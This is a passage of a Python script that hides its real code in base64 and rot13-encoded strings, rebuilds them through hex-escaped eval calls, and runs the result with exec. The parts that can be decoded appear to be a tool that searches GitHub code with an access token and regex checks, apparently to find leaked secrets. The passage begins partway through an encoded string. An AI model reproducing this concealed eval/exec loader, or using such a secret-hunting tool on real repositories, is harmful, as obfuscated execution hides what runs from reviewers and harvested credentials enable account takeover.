ICAgICAgICAgICAgICAgIGkgKz0gMQogICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBleGNlcHQgZ2l0aHViLlJhdGVMaW1pdEV4Y2VlZGVkRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBiY29sb3JzLkZBSUwgKwogICAgICAgICAgICAgICAgICAgICAgICAgICAgIlJhdGVMaW1pdEV4Y2VwdGlvbjogIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgIlBsZWFzZSB3YWl0IGFib3V0IDMwIHNlY29uZHMgYmVmb3JlIHlvdSAiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAidHJ5IGFnYWluLCBvciBleGl0IChDVFJMLUMpLlxuICIgKwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYmNvbG9ycy5FTkRDKQogICAgICAgICAgICAgICAgICAgICAgICBzYXZlX3N0YXRlKCJyYXRlbGltaXRlZCIsIHN0YXRlKQogICAgICAgICAgICAgICAgICAgICAgICBpbnB1dCgiUHJl'
destiny = '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MJMuqJk0Yzkcp3DtVtbtVPNtVPNtVPVgolOyrTSgpTkyZF5fo2qpovVtXjbtVPNtVPNtVPVhYlVtXlOmrKZhLKWaqyfjKFNeVPVtYKRtMKuuoKOfMF5wo20tYKVtMKuuoKOfMF5wo20hp3EuqTHvXDbtVPNtpTSlp2IlYzSxMS9upzq1oJIhqPtXVPNtVPNtVPNvYKRvYNbtVPNtVPNtVPVgYKS1MKW5VvjXVPNtVPNtVPObMJkjCFWUnKEbqJVtD29xMFOEqJIlrFVfPvNtVPNtVPNtqUyjMG1mqUVfPvNtVPNtVPNtpzIkqJylMJD9IUW1MFxXVPNtVUOupaAypv5uMTEsLKWaqJ1yoaDbPvNtVPNtVPNtVv0gM2ymqPVfPvNtVPNtVPNtnTIfpQ0vH2IupzAbVRqcqRu1LvOUnKA0plOcoaA0MJSxVvjXVPNtVPNtVPOuL3Eco249W3A0o3WyK3ElqJHaYNbtVPNtVPNtVUWypKIcpzIxCHMuoUAyXDbtVPNtpTSlp2IlYzSxMS9upzq1oJIhqPtXVPNtVPNtVPNvYJLvYNbtVPNtVPNtVPVgYJAbMJAeplVfPvNtVPNtVPNtnTIfpQ0vGTymqPOiMvOFMJqSrPOwnTIwn3ZtXTAbMJAepl9xMJMuqJk0Yzkcp3DcVvjXVPNtVPNtVPO0rKOyCKA0pvjXVPNtVPNtVPOxMJMuqJk0CJ9mYaOuqTthMTylozSgMFuipl5jLKEbYaWyLJkjLKEbXS9sMzyfMI9sXFxtXlNvY2AbMJAepl9xMJMuqJk0Yzkcp3DvXDbtVPNtpTSlp2IlYzSxMS9upzq1oJIhqPtXVPNtVPNtVPNvYJ8vYNbtVPNtVPNtVPVgYJ91qUO1qPVfPvNtVPNtVPNtnTIfpQ0vGT9aVT5uoJHtXTEyMzS1oUD6VQkkqJIlrG4hoT9aXFVfPvNtVPNtVPNtqUyjMG1mqUVcPvNtVPOjLKWmMKVhLJExK2SlM3IgMJ50XNbtVPNtVPNtVPVgpvVfPvNtVPNtVPNtVv0gpzIwo3MypvVfPvNtVPNtVPNtnTIfpQ0vGzSgMFOiMvOlMJAiqzIlrFOznJkyVvjXVPNtVPNtVPO0rKOyCKA0pvxXVPNtVUOupaAypv5uMTEsLKWaqJ1yoaDbPvNtVPNtVPNtVv11VvjXVPNtVPNtVPNvYF11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'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))